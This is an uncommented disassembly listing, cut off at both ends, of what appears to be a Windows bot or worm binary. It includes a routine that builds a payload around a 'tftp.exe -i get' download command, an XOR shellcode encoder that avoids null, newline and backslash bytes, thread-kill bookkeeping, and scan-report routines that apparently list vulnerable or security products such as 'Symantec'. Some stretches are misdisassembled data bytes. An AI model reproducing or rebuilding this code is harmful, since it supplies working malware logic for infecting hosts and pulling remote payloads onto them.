[ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 304B8BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] nop call near ptr 26C05DFh cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA14 xor edi, edi mov [ebp-8], eax cmp dword_4317F8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0E6h, 42h ; --------------------------------------------------------------------------- xor [edx], al ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop 